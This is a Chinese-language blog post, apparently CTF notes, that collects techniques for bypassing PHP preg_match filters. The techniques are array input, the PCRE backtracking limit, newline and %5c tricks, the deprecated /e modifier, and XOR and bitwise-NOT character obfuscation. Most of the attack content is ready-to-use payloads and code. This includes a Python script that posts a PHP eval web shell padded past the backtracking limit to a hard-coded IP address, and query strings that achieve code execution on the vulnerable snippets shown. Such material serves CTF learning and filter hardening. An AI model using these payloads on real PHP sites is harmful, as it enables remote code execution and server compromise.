preg_match绕过总结

函数简介:

1
2
3
returns 1; // 如果匹配到. 
returns 0; // 如果未匹配到.
returns FALSE; // 发生错误时.

绕过方法:

1,数组绕过

原理:

preg_match只能处理字符串,当传入的subject是数组时会返回false

2,PHP利用PCRE回溯流量限制绕过某些安全限制

1
2
3
4
5
6
7
8
9
import requests
from io import BytesIO

files = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

Payload:?a=ssss………..省略n个字符,突破100万

3,换行符绕过(%0a)

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

include("flag.php");

highlight_file(__FILE__);

$c = $_GET['c'];

if (preg_match('/^flag$/i', $c) && $c !== 'flag') {
echo $flag;
}else{
echo "nonono";
}

由于pre_match这个函数是只能匹配一行的数据,所以我们可以用%0a(也就是换行符)来绕过。

这里是因为$会忽略换行符

因此本题我们传入?c=flag%0a 即可绕过

注意此时正则表达式的模式是: i

4,%5c绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php show_source(__FILE__); $key = "bad"; extract($_POST);        
// 使用POST接收参数
if($key === 'bad'){
// $key 与 'bad' 进行比较,值不相同时才可以继续运行代码
die('badbad!!!'); }
$act = @$_GET['act'];
// 获得 act 参数
$arg = @$_GET['arg'];
// 获得 arg 参数
if(preg_match('/^[a-z0-9_]*$/isD',$act))
{ // 针对act参数进行过滤 echo 'check'; }
else { $act($arg,''); // 动态调用 }
echo '666';
1
2
3
4
5
/i不区分大小写

/s匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[fnrtv]

/D如果使用$限制结尾字符,则不允许结尾有换行;

这里存在/s和/D因此它会匹配到换行,%0a因此就无法绕过。这时候就可以使用%5c

5,preg_match(“/^$/e”) (注:php版本需要小于5.5.0)

1
2
3
4
<?
highlight_file(__FILE__);
echo preg_replace("/test/e",$_GET["h"],"jutst test");
?>

payload=xx?h=phpinfo();

6,异或绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
highlight_file(__FILE);

// ?>

可以使用各种特殊字符的异或构造出字母和数字

脚本:

1
2
3
4
5
6
str = r"~!@#$%^&*()_+<>?,.;:-[]{}/"

for i in range(0, len(str)):
for j in range(0, len(str)):
a = ord(str[i])^ord(str[j])
print(str[i] + ' ^ ' + str[j] + ' is ' + chr(a))

payload:

1
?code=$_="`{{{"^"?<>/";${$_}[_]();&_=phpinfo

7,取反绕过

把getFlag取反然后URL编码:

1
<?php echo urlencode(~"getFlag"); 

–> %98%9A%8B%B9%93%9E%98

依据这个我们可以构造payload:

1
?code=$_=~%98%9A%8B%B9%93%9E%98;$_();